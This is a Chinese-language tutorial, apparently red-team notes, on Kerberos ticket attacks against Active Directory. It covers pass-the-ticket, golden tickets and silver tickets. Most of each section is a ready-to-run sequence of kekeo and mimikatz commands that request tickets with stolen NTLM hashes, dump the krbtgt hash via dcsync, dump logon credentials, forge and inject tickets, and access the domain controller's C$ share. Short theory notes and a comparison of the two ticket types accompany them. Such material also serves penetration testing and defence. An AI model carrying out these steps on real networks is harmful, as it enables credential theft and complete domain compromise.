票据传递攻击
攻击步骤
票据传递(Pass the Ticket,PtT),使用 Kerberos票据,不需要管理员权限,攻击有效期是在票据有效期之内(一般为7天)。
在微软活动目录中颁发的TGT是可移植的,由于Kerberos的无状态特性,TGT中并没有关于票据来源的标识信息。
这意味着可以从某台计算机上导出一个有效的TGT,然后导入到该环境中其他的计算机上。
新导入的票据可以用于域的身份认证,并拥有票据中指定用户的权限来访问网络资源。
工具kekeo:https://github.com/gentilkiwi/kekeo/releases
1)在当前目录生成一个高权限票据文件
kekeo.exe "tgt::ask /user:Administrator /domain:hacker.org /ntlm:f3a0acba8bcfb8a0896281bbfcb793ed" exit
2)使用系统自带命令,清除内存中的票据
klist purge
3)将票据文件导入内存
kekeo "kerberos::ptt TGT_administrator@WINTRYSEC.LAB_krbtgt~wintrysec.lab@WINTRYSEC.LAB.kirbi" exit
4)列出远程主机的文件
dir \\DC\c$
黄金票据(Golden Ticket)
即伪造的TGT票据,当攻击者拥有了高权限的TGT,就可以发送给KDC的TGS 换取任意服务器的票据(ST),有了金票就有了当前域内的最高控制权限。
原理
金票的利用原理是直接跳过了KDC的AS认证过程(AS-REQ、AS-REP通信)
由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到KDC的TGS,以获取服务票据(ST)
伪造的黄金票据是 有效的TGT票据,因为它是由域账号krbtgt的NTLM Hash加密和签名的。
TGT用于向KDC的TGS服务证明Client已经过AS认证,TGT可以被该域内的任何KDC服务器解密。
利用过程
1)导出krbtgt的NTLM Hash
#需要域管理员权限
mimikatz.exe "lsadump::dcsync /user:krbtgt" exit
2)获取域中所有用户的SID
应用的时候,去掉SID最后的数字
#只要是域用户权限就行
wmic useraccount get name,sid
3)制造黄金票据
#1) 清空现有票据
mimikatz.exe "kerberos::purge" exit
#2) 生成票据
mimikatz.exe "kerberos::golden /admin:Administrator /domain:wintrysec.lab /sid:S-1-5-21-1160434164-3042164129-2463410311 /krbtgt:a8424e3f13e1253ea732a5245f2f4266 /ticket:Administrator.kiribi" exit
4)将票据注入内存
mimikatz.exe "kerberos::ptt Administrator.kiribi" exit
5)检索当前会话中的票据
mimikatz.exe "kerberos::tgt" exit
6)权限验证
#列出域控的C盘
dir \\DC\c$
白银票据
白银票据:即伪造的TGS票据,也称服务票据ST。
攻击者通过伪造合法的TGS,可以直接发送给Server,访问指定的某个服务。
当拥有Server(Service) Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。
因此,银票的关键也在于Server的HTLM Hash
利用步骤
1)获取目标服务器的NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
2)制造白银票据
#1)用系统命令清空当前系统票据
klist purge
#2)伪造票据
mimikatz.exe "kerberos::golden /domain:wintrysec.lab /sid:S-1-5-21-1160434164-3042164129-2463410311 /target:DC.wintrysec.lab /service:CIFS /rc4:f0e889883425d83b0071e789507b3e6b /user:admin666 /ptt" exit
黄金票据和白银票据的不同
访问权限不同:
• Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限
• Silver Ticket:伪造TGS,只能访问指定的服务
加密方式不同:
• Golden Ticket由Kerberos的Hash加密
• Silver Ticket由服务账号(通常为计算机账户)Hash加密
认证流程不同:
• Golden Ticket的利用过程需要访问域控,
• Silver Ticket利用不需要访问域控